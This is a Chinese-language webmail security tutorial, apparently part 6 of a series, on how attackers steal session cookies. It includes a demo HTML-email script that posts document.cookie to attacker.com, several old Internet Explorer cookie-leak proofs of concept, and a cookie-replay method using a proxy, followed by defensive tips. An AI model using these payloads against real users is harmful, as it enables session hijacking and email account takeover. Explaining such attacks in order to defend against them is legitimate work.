Webmail攻防实战(6)

来源:云南设计港 时间:2007-11-01 14:09:00 

如果攻击者能够获取用户WebMail的cookie信息,那么就能很容易地侵入用户的WebMail。攻击者如何获取用户WebMail的cookie信息呢?如果攻击者在用户的电脑上安装了木马,或者能够从网络线路上对用户进行嗅探侦听,那么获取cookie信息自然不成问题,不过这并不是我们讨论问题的意义所在,因为都能够这样了,又何必大费周折去获取cookie信息,直接获取邮箱密码就是了。

如果WebMail系统存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取cookie信息,虽然众多网站存在此漏洞,但存在此漏洞的WebMail系统还很少见。

含有恶性脚本程序的html邮件能使攻击者获取WebMail的cookie信息。Html邮件中的脚本程序先提取当前WebMail的cookie信息,然后把它赋值给某个表单元素,再将表单自动提交给攻击者,攻击者从而获得cookie会话信息。下面是一段演示程序:
  


  <body>
  <formmethod="post"action="http://attacker.com/getcookie.cgi"name="myform">
  <inputname="session"type="hidden">
  </form>
  
  <scriptlanguage="JavaScript">
  varcookie=(document.cookie);
  alert(cookie);//这一句用于显示当前cookie信息,当然,攻击者不会这样做。
  document.myform.session.value=cookie;
  document.myform.submit();
  </script>


  
getcookie.cgi是放在攻击者web服务器上的一个cgi程序,用于获取表单提交过来的cookie信息,并且做记录或者通知攻击者。当然,攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽,更具欺骗性,让用户难以察觉。

通常,浏览器根据web服务器的域名来分别保存cookie信息,并且只会把cookie信息发送给同一域名的web服务器。不过,浏览器的漏洞给攻击者获取不同域名的cookie信息创造了机会,InternetExplorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个InternetExplorer浏览器(针对IE5.0、IE5.5或IE6.0)泄漏cookie信息的例子:

(1)Html语言中的object元素用于在当前页面内嵌入外部对象,但InternetExplorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏,演示代码如下:
  


  <objectid="data"data="empty.html"type="text/html"></object>
  <script>
  varref=document.getElementById("data").object;
  ref.location.href="http://www.anydomain.com";
  setTimeout("alert(ref.cookie)",5000);
  </script>


  
(2)InternetExplorer浏览器错误处理“about”协议使得一个精心构造的URL请求可能会显示或修改任意域的cookie信息,例如(以下代码在同一行):

about://www.anydomain.com/<scriptlanguage=JavaScript>alert(document.cookie);</script>

(3)InternetExplorer浏览器会误把URL中“%20”(空格符的URL编码)字符串之前的主机名当做cookie信息所在的域,并且发送出去。假设攻击者有一个域名“attacker.com”,攻击者把它做成泛域名解析,即把“*.attacker.com”指向攻击者web服务器所在的IP地址,“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址,当用户提交了类似下面这样的URL后,浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者:

http://anydomain.com%20.attacker.com/getcookie.cgi

如果攻击者要获取WebMail的临时型cookie信息,就会在html邮件中写入相应的代码,在用户浏览邮件时,该代码自动执行,使得攻击者能够获取当前浏览器里的临时cookie信息,也可以把用于获取cookie信息的URL发送给用户,诱骗用户打开该URL,这样攻击者也能获取临时cookie信息。

在攻击者获取cookie信息后,如果cookie信息里含有密码等敏感信息,那么攻击者就能很轻易地侵入用户的邮箱,虽然hotmail等WebMail系统曾经发生过此类的情况,但cookie信息泄漏敏感信息的WebMail系统还很少见。

攻击者在获取cookie信息之后,还要让此cookie信息由浏览器来存取从而与WebMail系统建立会话,这样才能侵入用户的WebMail。如果是持久型cookie信息,攻击者所要做的是把这个信息复制到自己的cookie文件中去,由浏览器存取该cookie信息从而与WebMail系统建立会话,不过临时cookie信息存储在内存中,并不容易让浏览器存取。

为了让浏览器存取临时cookie信息,攻击者可以编辑内存中的cookie信息,或者修改公开源代码的浏览器,让浏览器能够编辑cookie信息,不过这样都不是很简便的方法,简便的方法是使用Achilles程序(packetstormsecurity.org网站有下载)。Achilles是一个http代理服务器,能够载取浏览器和web服务器间的http会话信息,并且在代理转发数据之前可以编辑http会话以及临时cookie信息。

WebMail系统应该避免使用持久型cookie会话跟踪,使攻击者在cookie会话攻击上不能轻易得逞。为了防止cookie会话攻击,用户可以采取如下措施以加强安全:

(1)设置浏览器的cookie安全级别,阻止所有cookie或者只接受某几个域的cookie。

(2)使用cookie管理工具,增强系统cookie安全,如CookiePal、BurntCookies等。

(3)及时给浏览器打补丁,防止cookie信息泄漏。

标签:
0
投稿

猜你喜欢

  • OpenSuSE国内最大镜像服务器:lizardsource.cn

    2008-09-26 17:20:00
  • 搜索引擎优化八个致命错误

    2009-01-15 10:01:00
  • ISA下FTP的解决办法(2)

    2007-08-31 13:52:00
  • WordPress更换域名301 rewrite 重写方法

    2010-03-22 09:55:00
  • Firefox手机版正式发布

    2010-02-01 12:46:00
  • 教你去除Discuz!7.0有无新帖版块图标

    2009-09-16 10:48:00
  • Windows下Linux安全联机UltraEdit工具

    2010-03-31 18:38:00
  • 支付宝体验版体验动画出炉!

    2010-01-12 16:59:00
  • 解释一下Link和Domain的区别

    2008-11-19 16:19:00
  • Z-blog如何提高Google Adsense广告相关度

    2009-12-04 19:04:00
  • phpwindV6.3关于引用帖子时出现乱码问题

    2009-02-20 15:54:00
  • Google不跨入Android硬件 不从事硬件制造

    2009-11-05 10:46:00
  • 传谷歌即将推Android 2.0手机系统 代号小饼

    2009-10-16 08:34:00
  • Discuz称将推独立插件满足phpwind用户QQ接入需求

    2011-07-13 18:29:28
  • 搜索引擎优化每天一贴:网站的关键词布局

    2008-12-23 13:10:00
  • Twitter创始人斯通:发展着眼40亿手机用户

    2009-11-20 10:21:00
  • 很好很快乐 花儿世界v1.1新版尝鲜报告

    2009-11-23 15:56:00
  • Windows 2000 安全检查清单-初级篇

    2009-12-02 19:28:00
  • DNS服务器安全部署的七大问题

    2010-01-20 18:44:00
  • 如何与国外主机商有效沟通

    2010-03-30 10:59:00
  • asp之家 网站运营 m.aspxhome.com